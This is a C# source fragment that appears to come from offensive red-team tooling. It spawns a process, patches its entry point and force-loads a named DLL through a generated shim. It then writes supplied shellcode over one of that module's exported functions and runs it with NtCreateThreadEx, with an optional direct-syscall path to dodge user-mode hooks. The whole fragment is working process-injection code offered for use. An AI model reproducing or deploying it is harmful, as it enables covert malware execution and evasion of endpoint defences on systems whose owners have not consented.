public static bool CreateProcessA(string applicationName, string workingDirectory, uint creationFlags, Data.Win32.Kernel32.STARTUPINFOEX startupInfoEx, out Data.Win32.Kernel32.PROCESS_INFORMATION processInformation)
{
var pa = new Data.Win32.WinBase.SECURITY_ATTRIBUTES();
var ta = new Data.Win32.WinBase.SECURITY_ATTRIBUTES();
var pi = new Data.Win32.Kernel32.PROCESS_INFORMATION();
object[] parameters = { applicationName, null, pa, ta, false, creationFlags, IntPtr.Zero, workingDirectory, startupInfoEx, pi };
var result = (bool)Generic.DynamicApiInvoke(@"kernel32.dll", @"CreateProcessA", typeof(Delegates.CreateProcessA), ref parameters);
if (!result)
{
processInformation = pi;
}
processInformation = (Data.Win32.Kernel32.PROCESS_INFORMATION)parameters[9];
return(result);
}
private void MapAndStart(Data.Win32.Kernel32.PROCESS_INFORMATION pi)
{
_remoteMap = MapSection(
pi.hProcess,
Data.Win32.WinNT.PAGE_EXECUTE_READ,
IntPtr.Zero);
var patch = BuildEntryPatch();
var pSize = (IntPtr)patch.Size;
var oldProtect = Native.NtProtectVirtualMemory(
pi.hProcess,
ref _pEntry,
ref pSize,
Data.Win32.WinNT.PAGE_READWRITE);
_ = Native.NtWriteVirtualMemory(
pi.hProcess,
_pEntry,
patch.Ptr,
(uint)patch.Size);
_ = Native.NtProtectVirtualMemory(
pi.hProcess,
ref _pEntry,
ref pSize,
oldProtect);
Marshal.FreeHGlobal(patch.Ptr);
if (_syscalls)
{
Syscall.NtResumeThread(pi.hThread, IntPtr.Zero);
}
else
{
Native.NtResumeThread(pi.hThread, IntPtr.Zero);
}
}
private bool LoadModule(Data.Win32.Kernel32.PROCESS_INFORMATION pi)
{
// Get address of LoadLibraryExA
var kernel32 = Generic.GetPebLdrModuleEntry("kernel32.dll");
var loadLibraryEx = Generic.GetExportAddress(kernel32, "LoadLibraryExA");
// Generate Shim
var shim = GenerateShim((long)loadLibraryEx);
var moduleName = Encoding.ASCII.GetBytes(ModuleName);
// Allocate memory regions
var baseAddress = IntPtr.Zero;
var regionSize = new IntPtr(moduleName.Length + 2);
// this one to hold the module name
var allocModule = Native.NtAllocateVirtualMemory(
pi.hProcess,
ref baseAddress,
IntPtr.Zero,
ref regionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE);
baseAddress = IntPtr.Zero;
regionSize = new IntPtr(shim.Length);
// this one to hold the shim
var allocShim = Native.NtAllocateVirtualMemory(
pi.hProcess,
ref baseAddress,
IntPtr.Zero,
ref regionSize,
Data.Win32.Kernel32.MEM_COMMIT | Data.Win32.Kernel32.MEM_RESERVE,
Data.Win32.WinNT.PAGE_READWRITE);
// Write memory
var buffer = Marshal.AllocHGlobal(moduleName.Length);
Marshal.Copy(moduleName, 0, buffer, moduleName.Length);
Native.NtWriteVirtualMemory(
pi.hProcess,
allocModule,
buffer,
(uint)moduleName.Length);
Marshal.FreeHGlobal(buffer);
buffer = Marshal.AllocHGlobal(shim.Length);
Marshal.Copy(shim, 0, buffer, shim.Length);
Native.NtWriteVirtualMemory(
pi.hProcess,
allocShim,
buffer,
(uint)shim.Length);
Marshal.FreeHGlobal(buffer);
// Change the shim region from RW to RX
var size = new IntPtr(shim.Length);
Native.NtProtectVirtualMemory(
pi.hProcess,
ref allocShim,
ref size,
Data.Win32.WinNT.PAGE_EXECUTE_READ);
// Load DLL into process
var hThread = IntPtr.Zero;
if (_syscalls)
{
Syscall.NtCreateThreadEx(
ref hThread,
Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
pi.hProcess,
allocShim,
allocModule,
false,
0,
0,
0,
IntPtr.Zero);
}
else
{
Native.NtCreateThreadEx(
ref hThread,
Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
pi.hProcess,
allocShim,
allocModule,
false,
0,
0,
0,
IntPtr.Zero);
}
// Wait for thread
Win32.WaitForSingleObject(hThread, Data.Win32.WinNT.INFINITE);
// Free memory regions
size = IntPtr.Zero;
Native.NtFreeVirtualMemory(
pi.hProcess,
ref allocModule,
ref size,
Data.Win32.Kernel32.MEM_RELEASE);
Native.NtFreeVirtualMemory(
pi.hProcess,
ref allocShim,
ref size,
Data.Win32.Kernel32.MEM_RELEASE);
using var process = Process.GetProcessById((int)pi.dwProcessId);
return(process.Modules.Cast <ProcessModule>().Any(module => module.ModuleName.Equals(ModuleName)));
}
private bool WriteAndExecuteShellcode(Data.Win32.Kernel32.PROCESS_INFORMATION pi, byte[] shellcode)
{
// Calculate offset from base to exported function
var hModule = Generic.LoadModuleFromDisk(ModuleName);
var export = Generic.GetExportAddress(hModule, ExportName);
var offset = (long)export - (long)hModule;
var targetAddress = IntPtr.Zero;
using var process = Process.GetProcessById((int)pi.dwProcessId);
foreach (ProcessModule module in process.Modules)
{
if (!module.ModuleName.Equals(ModuleName, StringComparison.OrdinalIgnoreCase))
{
continue;
}
targetAddress = new IntPtr((long)module.BaseAddress + offset);
break;
}
// Write and execute shellcode
var buffer = Marshal.AllocHGlobal(shellcode.Length);
Marshal.Copy(shellcode, 0, buffer, shellcode.Length);
var size = new IntPtr(shellcode.Length);
Native.NtProtectVirtualMemory(
process.Handle,
ref targetAddress,
ref size,
Data.Win32.WinNT.PAGE_READWRITE);
Native.NtWriteVirtualMemory(
process.Handle,
targetAddress,
buffer,
(uint)shellcode.Length);
Native.NtProtectVirtualMemory(
process.Handle,
ref targetAddress,
ref size,
Data.Win32.WinNT.PAGE_EXECUTE_READ);
Marshal.FreeHGlobal(buffer);
var hThread = IntPtr.Zero;
if (_syscalls)
{
Syscall.NtCreateThreadEx(
ref hThread,
Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
process.Handle,
targetAddress,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero);
}
else
{
Native.NtCreateThreadEx(
ref hThread,
Data.Win32.WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
process.Handle,
targetAddress,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero);
}
return(hThread != IntPtr.Zero);
}
private static void CloseHandles(Data.Win32.Kernel32.PROCESS_INFORMATION pi)
{
Win32.CloseHandle(pi.hThread);
Win32.CloseHandle(pi.hProcess);
}